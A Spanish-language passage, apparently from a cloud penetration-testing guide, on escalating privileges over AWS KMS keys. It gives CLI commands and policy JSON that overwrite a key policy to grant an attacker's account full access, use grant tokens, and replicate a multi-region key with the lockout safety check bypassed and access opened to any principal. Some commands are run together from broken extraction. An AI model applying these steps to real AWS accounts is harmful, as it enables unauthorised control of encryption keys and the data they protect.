Con estos permisos es posible modificar los permisos de acceso a la clave para que pueda ser utilizada por otras cuentas o incluso por cualquier persona:
awskmslist-keysawskmslist-key-policies--key-id<id># Although only 1 max per keyawskmsget-key-policy--key-id<id>--policy-name<policy_name># AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
awskmsput-key-policy--key-id<id>--policy-name<policy_name>--policyfile:///tmp/policy.json
policy.json:
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::<origin_account>:root"},"Action":"kms:*","Resource":"*"},{"Sid":"Allow all use","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::<attackers_account>:root"},"Action": [ "kms:*" ],"Resource":"*"}]}
Ten en cuenta que puede tomar un par de minutos para que KMS permita al usuario usar la clave después de que se haya generado el permiso. Una vez que haya pasado ese tiempo, el principal puede usar la clave KMS sin necesidad de especificar nada.
Sin embargo, si es necesario usar el permiso de inmediato, utiliza un token de permiso (verifica el siguiente código).
Para más información lee esto.
# Use the grant token in a requestawskmsgenerate-data-key \--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \–-key-spec AES_256 \--grant-tokens $token
Ten en cuenta que es posible listar los permisos de las claves con:
awskmslist-grants--key-id<value>
kms:CreateKey, kms:ReplicateKey
Con estos permisos es posible replicar una clave KMS habilitada para varias regiones en una región diferente con una política diferente.
Por lo tanto, un atacante podría abusar de esto para obtener un aumento de privilegios en su acceso a la clave y usarla
aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal":{"AWS":"*"},"Action":"kms:*","Resource":"*"}]}
kms:Decrypt
Este permiso permite usar una clave para descifrar cierta información.
Para más información, consulta: